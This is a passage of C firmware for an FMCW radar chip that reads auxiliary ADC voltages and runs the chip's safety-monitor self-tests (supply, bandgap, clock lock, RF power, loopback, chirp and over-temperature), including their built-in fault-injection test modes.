RADIO_MOD_BANK_REG(1, DTSDM1_EN, DTSDM_BIAS_EN, 0x1);
RADIO_MOD_BANK_REG(1, DTSDM1_EN, DTSDM_OP1_EN, 0x1);
RADIO_MOD_BANK_REG(1, DTSDM1_EN, DTSDM_OP2_EN, 0x1);
RADIO_MOD_BANK_REG(1, DTSDM1_EN, DTSDM_REFGEN_EN, 0x1);
RADIO_MOD_BANK_REG(1, DTSDM1_EN, DTSDM_VCMGEN_EN, 0x1);
RADIO_MOD_BANK_REG(1, DTSDM1_EN, DTSDM_RST, 0x1);
/* load trimming value from the corresponding eFuse address */
fmcw_radio_auxadc_trim(radio);
MDELAY(2);
/* select AUXADC1 InputMUX */
RADIO_MOD_BANK_REG(1, DTSMD1_MUXIN_SEL, DTSDM_MUXIN_SEL, muxin_sel);
switch (muxin_sel) {
case 0:
fmcw_radio_switch_bank(radio, 0);
RADIO_MOD_BANK_REG(0, TEST_CBC2, VPTAT_TEST_EN, 0x1);
break;
case 1:
case 2:
fmcw_radio_switch_bank(radio, 1);
RADIO_MOD_BANK_REG(1, DTSMD1_MUXIN_SEL, ADC_MUXN_EN, 0x1);
RADIO_MOD_BANK_REG(1, DTSMD1_MUXIN_SEL, ADC_MUXP_EN, 0x1);
break;
case 3:
fmcw_radio_switch_bank(radio, 0);
RADIO_MOD_BANK_REG(0, TPANA1, EN, 0x1);
break;
default:
break;
}
/* AUXADC1 de-reset */
fmcw_radio_switch_bank(radio, 1);
RADIO_MOD_BANK_REG(1, DTSDM1_EN, DTSDM_RST, 0x0);
/* AUXADC1 Filter de-reset */
fmcw_radio_switch_bank(radio, 2);
RADIO_WRITE_BANK_REG(2, DC_FILTER1_RST_EN, 0x01);
MDELAY(2);
/* read back AUXADC1 Filter Output Digital Bits */
fmcw_radio_switch_bank(radio, 1);
uint32_t doutL, doutM, doutH;
float dout;
doutL = RADIO_READ_BANK_REG(1, DTSDM1_DAT0);
doutM = RADIO_READ_BANK_REG(1, DTSDM1_DAT1);
doutH = RADIO_READ_BANK_REG(1, DTSDM1_DAT2);
dout = doutL + (doutM << 8) + (doutH << 16);
/* return voltage measurement, formula refer to 85C */
float auxadc1_voltage;
auxadc1_voltage = (dout / (1<<17) -1) * 3.3 + 1.67;
/* Disable 5M AUXADC CLK */
fmcw_radio_switch_bank(radio, 1);
RADIO_MOD_BANK_REG(1, DTSMD1_MUXIN_SEL, ADC_CLK_5M_EN, 0x0);
fmcw_radio_switch_bank(radio, old_bank);
return auxadc1_voltage;
}
void fmcw_radio_clk_out_for_cascade(void)
{
#ifdef CHIP_CASCADE
uint8_t old_bank = fmcw_radio_switch_bank(NULL, 0);
if (chip_cascade_status() == CHIP_CASCADE_MASTER) {
RADIO_MOD_BANK_REG(0, REFPLL_EN, CLK_400M_FMCW_EN, 0x1);
MDELAY(200);
fmcw_radio_switch_bank(NULL, 2);
RADIO_MOD_BANK_REG(2, DIV_CLK, FLTR_CLK_OUT_ENABLE, 0x1);
} else {
RADIO_MOD_BANK_REG(0, REFPLL_EN, CLK_400M_FMCW_EN, 0x0);
}
fmcw_radio_switch_bank(NULL, old_bank);
#endif
}
/*
* inputmux selection : TS VPTAT(default) / TS VBG / TestMUXN / TPANA2
* #define AUXADC2_TS_VPTAT 0
* #define AUXADC2_TS_VBG 1
* #define AUXADC2_TestMUXN 2
* #define AUXADC2_TPANA2 3
*/
float fmcw_radio_auxadc2_voltage(fmcw_radio_t *radio, int32_t muxin_sel)
{
uint8_t old_bank = fmcw_radio_switch_bank(radio, 0);
/* Enable 800M ADC CLK */
RADIO_MOD_BANK_REG(0, PLL_CLK_OUT, REFPLL_CLK_400M_ADC_EN, 0x1);
RADIO_MOD_BANK_REG(0, PLL_CLK_OUT, REFPLL_CLK_800M_ADC_EN, 0x1);
RADIO_MOD_BANK_REG(0, PLL_CLK_OUT, REFPLL_SDMADC_CLKSEL, 0x1);
/* Enable safety monitor LDO */
RADIO_MOD_BANK_REG(0, LDO25_SM, LDO_EN, 0x1);
RADIO_MOD_BANK_REG(0, LDO11_SM, LDO_EN, 0x1);
/* Enable 5M AUXADC CLK */
fmcw_radio_switch_bank(radio, 1);
RADIO_MOD_BANK_REG(1, DTSMD1_MUXIN_SEL, ADC_CLK_5M_EN, 0x1);
/* AUXADC2 on and reset */
RADIO_MOD_BANK_REG(1, DTSDM2_EN, DTSDM_BUF_BYPASS, 0x0);
RADIO_MOD_BANK_REG(1, DTSDM2_EN, DTSDM_BUF_EN, 0x1);
RADIO_MOD_BANK_REG(1, DTSDM2_EN, DTSDM_BIAS_EN, 0x1);
RADIO_MOD_BANK_REG(1, DTSDM2_EN, DTSDM_OP1_EN, 0x1);
RADIO_MOD_BANK_REG(1, DTSDM2_EN, DTSDM_OP2_EN, 0x1);
RADIO_MOD_BANK_REG(1, DTSDM2_EN, DTSDM_REFGEN_EN, 0x1);
RADIO_MOD_BANK_REG(1, DTSDM2_EN, DTSDM_VCMGEN_EN, 0x1);
RADIO_MOD_BANK_REG(1, DTSDM2_EN, DTSDM_RST, 0x1);
/* load trimming value from the corresponding eFuse address */
fmcw_radio_auxadc_trim(radio);
MDELAY(2);
/* select AUXADC2 InputMUX */
RADIO_MOD_BANK_REG(1, DTSMD2_MUXIN_SEL, TS_BG_EN, 0x1);
RADIO_MOD_BANK_REG(1, DTSMD2_MUXIN_SEL, TS_VPTAT_CAL, 0x4);
RADIO_MOD_BANK_REG(1, DTSMD2_MUXIN_SEL, DTSDM_MUXIN_SEL, muxin_sel);
switch (muxin_sel) {
case 0:
break;
case 1:
break;
case 2:
fmcw_radio_switch_bank(radio, 1);
RADIO_MOD_BANK_REG(1, DTSMD1_MUXIN_SEL, ADC_MUXN_EN, 0x1);
RADIO_MOD_BANK_REG(1, DTSMD1_MUXIN_SEL, ADC_MUXP_EN, 0x1);
break;
case 3:
fmcw_radio_switch_bank(radio, 0);
RADIO_MOD_BANK_REG(0, TPANA2, TPANA2_EN, 0x1);
break;
default:
break;
}
/* AUXADC2 de-reset */
fmcw_radio_switch_bank(radio, 1);
RADIO_MOD_BANK_REG(1, DTSDM2_EN, DTSDM_RST, 0x0);
/* AUXADC2 Filter de-reset */
fmcw_radio_switch_bank(radio, 2);
RADIO_WRITE_BANK_REG(2, DC_FILTER2_RST_EN, 0x01);
MDELAY(2);
/* read back AUXADC2 Filter Output Digital Bits */
fmcw_radio_switch_bank(radio, 1);
uint32_t doutL, doutM, doutH;
float dout;
doutL = RADIO_READ_BANK_REG(1, DTSDM2_DAT0);
doutM = RADIO_READ_BANK_REG(1, DTSDM2_DAT1);
doutH = RADIO_READ_BANK_REG(1, DTSDM2_DAT2);
dout = doutL + ( doutM << 8 ) + ( doutH << 16 );
/* return voltage measurement, formula refer to 85C */
float auxadc2_voltage;
auxadc2_voltage = (dout / (1<<17) -1) * 3.3 + 1.67;
/* Disable 5M AUXADC CLK */
fmcw_radio_switch_bank(radio, 1);
RADIO_MOD_BANK_REG(1, DTSMD1_MUXIN_SEL, ADC_CLK_5M_EN, 0x0);
fmcw_radio_switch_bank(radio, old_bank);
return auxadc2_voltage;
}
/* This function is used for getting IRQ value of Safety Monitor1: LDO Monitor
* fault_injection = true: enter power on self test
* fault_injection = false: leave power on self test/normal monitoring
*/
uint8_t* fmcw_radio_sm_ldo_monitor_IRQ(fmcw_radio_t *radio, bool fault_injection)
{
uint8_t old_bank = fmcw_radio_switch_bank(radio, 10);
uint8_t *old_ldo;
static uint8_t IRQ_value[6];
/* get ldo monitor setting */
old_ldo = fmcw_radio_sm_ldo_monitor_ldo_on(radio, fault_injection);
fmcw_radio_sm_ldo_monitor_setting(radio,fault_injection);
/* cannot reduce this delay due to cnt size and ldo numbers
* LDO Monitor will not get the right status without enough delay
* already studied the delay, cannot reduce
*/
if(fault_injection){
MDELAY(4);
}
else{
MDELAY(100);
}
/* Read IRQ */
IRQ_value[0] = RADIO_READ_BANK_REG(10, LDO_MONITOR_STATUS_0);
IRQ_value[1] = RADIO_READ_BANK_REG(10, LDO_MONITOR_STATUS_1);
IRQ_value[2] = RADIO_READ_BANK_REG(10, LDO_MONITOR_STATUS_2);
IRQ_value[3] = RADIO_READ_BANK_REG(10, LDO_MONITOR_STATUS_3);
IRQ_value[4] = RADIO_READ_BANK_REG(10, LDO_MONITOR_STATUS_4);
IRQ_value[5] = RADIO_READ_BANK_REG_FIELD(10,ITF_IRQ_1,ITF_IRQ_SUPPLY_LDO);
/* restore ldo setting and clear IRQ status for monitoring */
if (fault_injection) {
fmcw_radio_sm_ldo_monitor_ldo_off(radio, fault_injection, old_ldo);
RADIO_MOD_BANK_REG(10, ITF_IRQ_CTRL_1, ITF_SUPPLY_LDO_CLEAR, 0x1);
UDELAY(100);
RADIO_MOD_BANK_REG(10, ITF_IRQ_CTRL_1, ITF_SUPPLY_LDO_CLEAR, 0x0);
RADIO_MOD_BANK_REG(10, ITF_IRQ_CTRL_1, ITF_SUPPLY_LDO_TEST_START, 0x1);
UDELAY(300);
RADIO_MOD_BANK_REG(10, ITF_IRQ_CTRL_1, ITF_SUPPLY_LDO_TEST_START, 0x0);
}
/* Disable 5M AUXADC CLK */
fmcw_radio_switch_bank(radio, 1);
RADIO_MOD_BANK_REG(1, DTSMD1_MUXIN_SEL, ADC_CLK_5M_EN, 0x0);
fmcw_radio_switch_bank(radio, old_bank);
return IRQ_value;
}
/* This function is used for getting IRQ value of Safety Monitor2: AVDD33 Monitor
* 111 AVDD33 > +10%
* 101 +7.5% < AVDD33 < +10%
* 000 -7.5% < AVDD33 < +7.5%
* 110 -10% < AVDD33 < -7.5%
* 100 AVDD33 < -10%
* fault_injection = true: enter power on self test
* fault_injection = false: leave power on self test/normal monitoring
*/
uint8_t fmcw_radio_sm_avdd33_monitor_IRQ(fmcw_radio_t *radio, bool fault_injection)
{
uint8_t old_bank = fmcw_radio_switch_bank(radio, 10);
uint8_t IRQ_value_L,IRQ_value_H,IRQ_value;
/* get avdd33 monitor threahold */
fmcw_radio_sm_avdd33_monitor_threshold(radio, fault_injection);
/* get avdd33 monitor setting */
fmcw_radio_sm_avdd33_monitor_setting(radio);
/* Read IRQ */
IRQ_value_H = RADIO_READ_BANK_REG_FIELD(10,ITF_IRQ_1,ITF_IRQ_SUPPLY_CBC33);
fmcw_radio_switch_bank(radio, 0);
IRQ_value_L = RADIO_READ_BANK_REG(0,MS)& 0x03;
IRQ_value = (IRQ_value_H << 2) + IRQ_value_L;
/* restore avdd33 threahold and clear IRQ status for monitoring */
if (fault_injection) {
fmcw_radio_sm_avdd33_monitor_threshold(radio, false);
fmcw_radio_switch_bank(radio, 10);
RADIO_MOD_BANK_REG(10, ITF_IRQ_CTRL_1, ITF_SUPPLY_CBC33_CLEAR, 0x1);
RADIO_MOD_BANK_REG(10, ITF_IRQ_CTRL_1, ITF_SUPPLY_CBC33_CLEAR, 0x0);
RADIO_MOD_BANK_REG(10, ITF_IRQ_CTRL_1, ITF_SUPPLY_CBC33_TEST_START, 0x1);
RADIO_MOD_BANK_REG(10, ITF_IRQ_CTRL_1, ITF_SUPPLY_CBC33_TEST_START, 0x0);
}
fmcw_radio_switch_bank(radio, old_bank);
return IRQ_value;
}
/* This function is used for getting IRQ value of Safety Monitor3: DVDD11 Monitor
* fault_injection = true: enter power on self test
* fault_injection = false: leave power on self test/normal monitoring
*/
uint8_t fmcw_radio_sm_dvdd11_monitor_IRQ(fmcw_radio_t *radio, bool fault_injection)
{
uint8_t old_bank = fmcw_radio_switch_bank(radio, 10);
uint8_t IRQ_value;
/* get dvdd11 monitor threahold */
fmcw_radio_sm_dvdd11_monitor_threshold(radio, fault_injection);
/* get dvdd11 monitor setting */
fmcw_radio_sm_dvdd11_monitor_setting(radio);
/* Read IRQ */
IRQ_value = RADIO_READ_BANK_REG_FIELD(10,ITF_IRQ_1,ITF_IRQ_SUPPLY_DVDD11);
/* restore dvdd11 threahold and clear IRQ status for monitoring */
if (fault_injection) {
fmcw_radio_sm_dvdd11_monitor_threshold(radio, false);
RADIO_MOD_BANK_REG(10, ITF_IRQ_CTRL_1, ITF_SUPPLY_DVDD11_CLEAR, 0x1);
UDELAY(100);
RADIO_MOD_BANK_REG(10, ITF_IRQ_CTRL_1, ITF_SUPPLY_DVDD11_CLEAR, 0x0);
RADIO_MOD_BANK_REG(10, ITF_IRQ_CTRL_1, ITF_SUPPLY_DVDD11_TEST_START, 0x1);
UDELAY(300);
RADIO_MOD_BANK_REG(10, ITF_IRQ_CTRL_1, ITF_SUPPLY_DVDD11_TEST_START, 0x0);
}
fmcw_radio_switch_bank(radio, old_bank);
return IRQ_value;
}
/* This function is used for getting IRQ value of Safety Monitor4: Bandgap Voltage Monitor
* fault_injection = true: enter power on self test
* fault_injection = false: leave power on self test/normal monitoring
*/
uint8_t fmcw_radio_sm_bg_monitor_IRQ(fmcw_radio_t *radio, bool fault_injection)
{
uint8_t old_bank = fmcw_radio_switch_bank(radio, 10);
uint8_t IRQ_value;
/* get bg monitor threahold */
fmcw_radio_sm_bg_monitor_threshold(radio, fault_injection);
/* get bg monitor setting */
fmcw_radio_sm_bg_monitor_setting(radio);
/* Read IRQ */
IRQ_value = RADIO_READ_BANK_REG_FIELD(10,ITF_IRQ_1,ITF_IRQ_VBG);
/* restore dvdd11 threahold and clear IRQ status for monitoring */
if (fault_injection) {
fmcw_radio_sm_bg_monitor_threshold(radio, false);
RADIO_MOD_BANK_REG(10, ITF_IRQ_CTRL_1, ITF_VBG_CLEAR, 0x1);
UDELAY(100);
RADIO_MOD_BANK_REG(10, ITF_IRQ_CTRL_1, ITF_VBG_CLEAR, 0x0);
RADIO_MOD_BANK_REG(10, ITF_IRQ_CTRL_1, ITF_VBG_TEST_START, 0x1);
UDELAY(300);
RADIO_MOD_BANK_REG(10, ITF_IRQ_CTRL_1, ITF_VBG_TEST_START, 0x0);
}
fmcw_radio_switch_bank(radio, old_bank);
return IRQ_value;
}
/* This function is used for getting IRQ value of Safety Monitor5: CPU Clock Lock Detector
* no fault injection required
*/
uint8_t fmcw_radio_sm_cpu_clk_lock_det_IRQ(fmcw_radio_t *radio)
{
uint8_t old_bank = fmcw_radio_switch_bank(radio, 0);
uint8_t IRQ_value;
/* Read IRQ */
IRQ_value = !(RADIO_READ_BANK_REG_FIELD(0,AUTO_LOCK1,REFPLL_LCKED));
fmcw_radio_switch_bank(radio, old_bank);
return IRQ_value;
}
/*
* This function is used for getting IRQ value of Safety Monitor fault injection: RF Power Detector
* freq : lock freq
* power_th : rf power lower threahold (min 5dBm)
* channel_index : 0/ 1/ 2/ 3/ -1 (all channels)
* fault injection : true
*/
uint8_t* fmcw_radio_sm_rfpower_detector_fault_injection_IRQ(fmcw_radio_t *radio, double freq, double power_th, int32_t channel_index)
{
uint8_t old_bank = fmcw_radio_switch_bank(radio, 10);
static uint8_t IRQ_value[5];
/* set rfpower detector fault injection threshold */
fmcw_radio_sm_rfpower_detector_fault_injection_threshold(radio);
/* get rfpower_detector setting*/
fmcw_radio_sm_rfpower_detector_setting(radio, freq, channel_index);
/* Read IRQ */
IRQ_value[0] = RADIO_READ_BANK_REG_FIELD(10, RFPOWER_MONITOR_STATUS_1, TX0);
IRQ_value[1] = RADIO_READ_BANK_REG_FIELD(10, RFPOWER_MONITOR_STATUS_0, TX1);
IRQ_value[2] = RADIO_READ_BANK_REG_FIELD(10, RFPOWER_MONITOR_STATUS_0, TX2);
IRQ_value[3] = RADIO_READ_BANK_REG_FIELD(10, RFPOWER_MONITOR_STATUS_0, TX3);
IRQ_value[4] = RADIO_READ_BANK_REG_FIELD(10, ITF_IRQ_2, ITF_IRQ_RFPOWER);
/* set rfpower detector threshold for monitoring*/
fmcw_radio_sm_rfpower_detector_threshold(radio, freq, power_th, channel_index);
/* clear IRQ status for monitoring */
RADIO_MOD_BANK_REG(10, ITF_IRQ_CTRL_2, ITF_RFPOWER_CLEAR, 0x1);
RADIO_MOD_BANK_REG(10, ITF_IRQ_CTRL_2, ITF_RFPOWER_CLEAR, 0x0);
RADIO_MOD_BANK_REG(10, ITF_IRQ_CTRL_2, ITF_RFPOWER_TEST_START, 0x1);
MDELAY(1);
RADIO_MOD_BANK_REG(10, ITF_IRQ_CTRL_2, ITF_RFPOWER_TEST_START, 0x0);
/* Disable 5M AUXADC CLK */
fmcw_radio_switch_bank(radio, 1);
RADIO_MOD_BANK_REG(1, DTSMD1_MUXIN_SEL, ADC_CLK_5M_EN, 0x0);
/* Generate FMCW */
fmcw_radio_generate_fmcw(radio);
fmcw_radio_switch_bank(radio, old_bank);
return IRQ_value;
}
/*
* This function is used for getting IRQ value of Safety Monitor: RF Power Detector
* freq : lock freq
* power_th : rf power lower threahold (min 5dBm)
* channel_index : 0/ 1/ 2/ 3/ -1 (all channels)
* fault injection : false
*/
uint8_t* fmcw_radio_sm_rfpower_detector_IRQ(fmcw_radio_t *radio, double freq, int32_t channel_index)
{
uint8_t old_bank = fmcw_radio_switch_bank(radio, 10);
static uint8_t IRQ_value[5];
/* get rfpower detector setting */
fmcw_radio_sm_rfpower_detector_setting(radio, freq, channel_index);
/* Read IRQ */
IRQ_value[0] = RADIO_READ_BANK_REG_FIELD(10, RFPOWER_MONITOR_STATUS_1, TX0);
IRQ_value[1] = RADIO_READ_BANK_REG_FIELD(10, RFPOWER_MONITOR_STATUS_0, TX1);
IRQ_value[2] = RADIO_READ_BANK_REG_FIELD(10, RFPOWER_MONITOR_STATUS_0, TX2);
IRQ_value[3] = RADIO_READ_BANK_REG_FIELD(10, RFPOWER_MONITOR_STATUS_0, TX3);
IRQ_value[4] = RADIO_READ_BANK_REG_FIELD(10, ITF_IRQ_2, ITF_IRQ_RFPOWER);
/* Disable 5M AUXADC CLK */
fmcw_radio_switch_bank(radio, 1);
RADIO_MOD_BANK_REG(1, DTSMD1_MUXIN_SEL, ADC_CLK_5M_EN, 0x0);
/* Generate FMCW */
fmcw_radio_generate_fmcw(radio);
fmcw_radio_switch_bank(radio, old_bank);
return IRQ_value;
}
/* This function is used for Safety Monitor: IF Loopback */
uint8_t fmcw_radio_sm_if_loopback_IRQ(fmcw_radio_t *radio, bool fault_injection)
{
sensor_config_t* cfg = (sensor_config_t*)CONTAINER_OF(radio, baseband_t, radio)->cfg;
uint8_t old_bank = fmcw_radio_switch_bank(radio, 0);
uint8_t ch, IRQ_value = 0;
float vga_gain_tia250[4], vga_gain_tia500[4];
safety_monitor_mode = true;
baseband_t *bb = baseband_get_bb(0);
baseband_hw_t *bb_hw = &bb->bb_hw;
/* enable 400M ADC CLK */
RADIO_MOD_BANK_REG(0, PLL_CLK_OUT, REFPLL_CLK_400M_ADC_EN, 0x1);
RADIO_MOD_BANK_REG(0, PLL_CLK_OUT, REFPLL_CLK_800M_ADC_EN, 0x1);
RADIO_MOD_BANK_REG(0, PLL_CLK_OUT, REFPLL_SDMADC_CLKSEL, 0x0);
/* set rx gain 250 1 1 */
for (ch = 0; ch < MAX_NUM_RX; ch++) {
RADIO_MOD_BANK_CH_REG(0, ch, RX_TUNE0, TIA_RFB_SEL, 0x1);
RADIO_MOD_BANK_CH_REG(0, ch, RX_TUNE1, VGA2_GAINSEL, 0x1);
RADIO_MOD_BANK_CH_REG(0, ch, RX_TUNE1, VGA1_GAINSEL, 0x1);
}
/* Fault Injection */
if (fault_injection) {
EMBARC_PRINTF("reached sm11 if loopback fault injection\n");
/* set rx gain*/
for (ch = 0; ch < MAX_NUM_RX; ch++) {
RADIO_MOD_BANK_CH_REG(0, ch, RX_TUNE0, TIA_RFB_SEL, 0xf);
RADIO_MOD_BANK_CH_REG(0, ch, RX_TUNE1, VGA2_GAINSEL, 0x1);
RADIO_MOD_BANK_CH_REG(0, ch, RX_TUNE1, VGA1_GAINSEL, 0x1);
}
}
MDELAY(2);
baseband_dac_playback(bb_hw, true, 0, 3, false, vga_gain_tia250);
/* set rx gain 500 3 3*/
for (ch = 0; ch < MAX_NUM_RX; ch++) {
RADIO_MOD_BANK_CH_REG(0, ch, RX_TUNE0, TIA_RFB_SEL, 0x2);
RADIO_MOD_BANK_CH_REG(0, ch, RX_TUNE1, VGA2_GAINSEL, 0x3);
RADIO_MOD_BANK_CH_REG(0, ch, RX_TUNE1, VGA1_GAINSEL, 0x3);
}
MDELAY(2);
baseband_dac_playback(bb_hw, true, 0, 3, false, vga_gain_tia500);
for (ch = 0; ch < MAX_NUM_RX; ch++) {
if ((vga_gain_tia500[ch] - vga_gain_tia250[ch] >= 16) && ((vga_gain_tia500[ch] - vga_gain_tia250[ch]) <= 20)) {
continue;
} else {
IRQ_value = 1;
break;
}
}
safety_monitor_mode = false;
/* restore rx gain setting */
for (ch = 0; ch < MAX_NUM_RX; ch++) {
RADIO_MOD_BANK_CH_REG(0, ch, RX_TUNE0, TIA_RFB_SEL, cfg->rf_tia_gain);
RADIO_MOD_BANK_CH_REG(0, ch, RX_TUNE1, VGA2_GAINSEL, cfg->rf_vga2_gain);
RADIO_MOD_BANK_CH_REG(0, ch, RX_TUNE1, VGA1_GAINSEL, cfg->rf_vga1_gain);
}
fmcw_radio_switch_bank(radio, old_bank);
return IRQ_value;
}
/* This function is used for Safety Monitor: RF Loopback */
uint8_t fmcw_radio_sm_rf_loopback_IRQ(fmcw_radio_t *radio, bool fault_injection)
{
sensor_config_t* cfg = (sensor_config_t*)CONTAINER_OF(radio, baseband_t, radio)->cfg;
uint8_t old_bank = fmcw_radio_switch_bank(radio, 0);
uint8_t ch, IRQ_value=0;
float rf_gain[4];
safety_monitor_mode = true;
baseband_t *bb = baseband_get_bb(0);
baseband_hw_t *bb_hw = &bb->bb_hw;
/* enter shadow bank */
fmcw_radio_loop_test_en(radio,true);
/* lock frequency 80G */
RADIO_MOD_BANK_REG(0, FMCWPLL_LDO3, LDO11_MMD_EN, 0x1);
fmcw_radio_single_tone(radio, 80, true);
/* leave shadow bank */
fmcw_radio_loop_test_en(radio,false);
MDELAY(1);
/* set rx gain */
for (ch = 0; ch < 4; ch++) {
RADIO_MOD_BANK_CH_REG(0, ch, RX_TUNE0, TIA_RFB_SEL, 0x1);
RADIO_MOD_BANK_CH_REG(0, ch, RX_TUNE1, VGA2_GAINSEL, 0x1);
RADIO_MOD_BANK_CH_REG(0, ch, RX_TUNE1, VGA1_GAINSEL, 0x1);
}
/* Fault Injection */
if (fault_injection) {
EMBARC_PRINTF("reached sm12 rf loopback fault injection\n");
RADIO_MOD_BANK_REG(0, LO_LDO3, LDO11_RXLO_EN, 0x0);
}
/* get rx bist value */
baseband_dac_playback(bb_hw, false, 0, 3, false, rf_gain);
/* Normal Operation */
for (ch = 0; ch < MAX_NUM_RX; ch++) {
if (rf_gain[ch] >= 40) {
continue;
} else {
IRQ_value = 1;
break;
}
}
/* Fault Injection Release*/
if (fault_injection)
RADIO_MOD_BANK_REG(0, LO_LDO3, LDO11_RXLO_EN, 0x1);
safety_monitor_mode = false;
/* restore rx gain setting */
for (ch = 0; ch < MAX_NUM_RX; ch++) {
RADIO_MOD_BANK_CH_REG(0, ch, RX_TUNE0, TIA_RFB_SEL, cfg->rf_tia_gain);
RADIO_MOD_BANK_CH_REG(0, ch, RX_TUNE1, VGA2_GAINSEL, cfg->rf_vga2_gain);
RADIO_MOD_BANK_CH_REG(0, ch, RX_TUNE1, VGA1_GAINSEL, cfg->rf_vga1_gain);
}
/* Generate FMCW */
RADIO_MOD_BANK_REG(0, FMCWPLL_LDO3, LDO11_MMD_EN, 0x1);
fmcw_radio_generate_fmcw(radio);
fmcw_radio_switch_bank(radio, old_bank);
return IRQ_value;
}
/* This function is used for getting IRQ value of Safety Monitor13: Chirp Monitor */
uint8_t fmcw_radio_sm_chirp_monitor_IRQ(fmcw_radio_t *radio, bool fault_injection)
{
uint8_t old_bank = fmcw_radio_switch_bank(radio, 0);
uint8_t IRQ_value;
fmcw_radio_sm_chirp_monitor_setting(radio);
/* Generate FMCW */
RADIO_MOD_BANK_REG(0, FMCWPLL_LDO3, LDO11_MMD_EN, 0x1);
fmcw_radio_generate_fmcw(radio);
/* Fault Injection */
fmcw_radio_sm_chirp_monitor_fault_injection(radio, fault_injection);
fmcw_radio_start_fmcw(radio);
MDELAY(1);
/* Read IRQ */
fmcw_radio_switch_bank(radio, 10);
IRQ_value = RADIO_READ_BANK_REG(10,ITF_IRQ_4);
/* fault injection restore and clear IRQ status for monitoring */
if (fault_injection) {
fmcw_radio_sm_chirp_monitor_fault_injection(radio, false);
RADIO_MOD_BANK_REG(10, ITF_IRQ_CTRL_4, ITF_FM_CLEAR, 0x1);
UDELAY(100);
RADIO_MOD_BANK_REG(10, ITF_IRQ_CTRL_4, ITF_FM_CLEAR, 0x0);
RADIO_MOD_BANK_REG(10, ITF_IRQ_CTRL_4, ITF_FM_TEST_START, 0x1);
UDELAY(300);
RADIO_MOD_BANK_REG(10, ITF_IRQ_CTRL_4, ITF_FM_TEST_START, 0x0);
}
fmcw_radio_switch_bank(radio, old_bank);
return IRQ_value;
}
/* This function is used for getting IRQ value of Safety Monitor14: Over Temperature Detector */
uint8_t fmcw_radio_sm_over_temp_detector_IRQ(fmcw_radio_t *radio, bool fault_injection)
{
uint8_t old_bank = fmcw_radio_switch_bank(radio, 10);
uint8_t IRQ_value;
/* get over_temp_detector threahold */
fmcw_radio_sm_over_temp_detector_threshold(radio, fault_injection);
/* get over_temp_detector setting */
fmcw_radio_sm_over_temp_detector_setting(radio);
/* Read IRQ */
IRQ_value = RADIO_READ_BANK_REG(10,ITF_IRQ_5);
/* restore over_temp_detector threahold and clear IRQ status for monitoring */
if (fault_injection) {
fmcw_radio_sm_over_temp_detector_threshold(radio, false);
RADIO_MOD_BANK_REG(10, ITF_IRQ_CTRL_5, ITF_TEMP_CLEAR, 0x1);
UDELAY(100);
RADIO_MOD_BANK_REG(10, ITF_IRQ_CTRL_5, ITF_TEMP_CLEAR, 0x0);
RADIO_MOD_BANK_REG(10, ITF_IRQ_CTRL_5, ITF_TEMP_TEST_START, 0x1);
UDELAY(300);
RADIO_MOD_BANK_REG(10, ITF_IRQ_CTRL_5, ITF_TEMP_TEST_START, 0x0);
}
/* Disable 5M ADC Clock */
fmcw_radio_switch_bank(radio, 1);
RADIO_MOD_BANK_REG(1, DTSMD1_MUXIN_SEL, ADC_CLK_5M_EN, 0x0);
fmcw_radio_switch_bank(radio, old_bank);
return IRQ_value;
}
/*
* This function is used for register setting of power detector
* channel_index : 0 / 1 / 2 / 3 /-1 (all channels)
* pdt_type : calon 0 / caloff 1 / paon 2 / paoff 3
* if all channels on, set register of TX0
*/
void fmcw_radio_pdt_reg(fmcw_radio_t *radio, int8_t pdt_type, int32_t channel_index)
{
uint8_t old_bank = fmcw_radio_switch_bank(radio, 1);
/* general setting */
RADIO_MOD_BANK_CH_REG(1, channel_index, TX_TUNE2, PDT_EN,0x1);
RADIO_MOD_BANK_CH_REG(1, channel_index, TX_TUNE2, PDT_CALGEN_RSEL,0x2);
fmcw_radio_switch_bank(radio, 0);
RADIO_MOD_BANK_REG(0, TPANA1, EN, 0x1);
RADIO_MOD_BANK_REG(0, TPANA1, TEST_MUX_1_EN, 0x1);
/* select TPANA mux of channel */
switch (channel_index) {
case -1:
case 0:
RADIO_MOD_BANK_REG(0, TPANA1, TEST_MUX_1_SEL, 0x28);
break;
case 1:
RADIO_MOD_BANK_REG(0, TPANA1, TEST_MUX_1_SEL, 0x29);
break;
case 2:
RADIO_MOD_BANK_REG(0, TPANA1, TEST_MUX_1_SEL, 0x2A);
break;
case 3:
RADIO_MOD_BANK_REG(0, TPANA1, TEST_MUX_1_SEL, 0x2B);
break;
default:
break;
}
/* select pdt_type */
fmcw_radio_switch_bank(radio, 1);
switch (pdt_type) {
case 0:
RADIO_MOD_BANK_CH_REG(1, channel_index, TX_TUNE2, PDT_CALGEN_EN,0x1);
RADIO_MOD_BANK_CH_REG(1, channel_index, TX_TUNE2, PDTOUT_SEL,0x4);
break;
case 1:
RADIO_MOD_BANK_CH_REG(1, channel_index, TX_TUNE2, PDT_CALGEN_EN,0x0);
RADIO_MOD_BANK_CH_REG(1, channel_index, TX_TUNE2, PDTOUT_SEL,0x4);
break;
case 2:
RADIO_MOD_BANK_CH_REG(1, channel_index, TX_TUNE2, PDT_CALGEN_EN,0x0);
RADIO_MOD_BANK_CH_REG(1, channel_index, TX_TUNE2, PDTOUT_SEL,0x1);
break;
case 3:
RADIO_MOD_BANK_CH_REG(1, channel_index, TX_TUNE2, PDT_CALGEN_EN,0x0);
RADIO_MOD_BANK_CH_REG(1, channel_index, TX_TUNE2, PDTOUT_SEL,0x1);
fmcw_radio_switch_bank(radio, 0);
RADIO_MOD_BANK_REG(0, FMCWPLL_EN, VCO_EN, 0x0);
break;
default:
break;
}
fmcw_radio_switch_bank(radio, old_bank);
}
/* This function is used for dout code calculation of auxadc2 */
double fmcw_radio_auxadc2_dout(fmcw_radio_t *radio)
{
uint8_t old_bank = fmcw_radio_switch_bank(radio, 1);
/* read back AUXADC2 Filter Output Digital Bits */
uint32_t doutL, doutM, doutH;
double dout;
/* 1st bring up, cannot readback dout, delay is necessary */
MDELAY(1);
doutL = RADIO_READ_BANK_REG(1, DTSDM2_DAT0);
doutM = RADIO_READ_BANK_REG(1, DTSDM2_DAT1);
doutH = RADIO_READ_BANK_REG(1, DTSDM2_DAT2);
dout = doutL + ( doutM << 8 ) + ( doutH << 16 );
fmcw_radio_switch_bank(radio, old_bank);
return dout;
}
/* This function is used to calculate pa dout of pdt */
double fmcw_get_pa_dout(fmcw_radio_t *radio, double cal_on, double cal_off, int32_t channel_index, double freq, double power_th)
{
uint8_t old_bank = fmcw_radio_switch_bank(radio, 1);
/* calculate according to pdt formula */
double Dconst, Dconst1, Dconst2, Dconst3, paon_dout, paoff_dout, pa_dout, paldo_default;
if (freq <= 78)
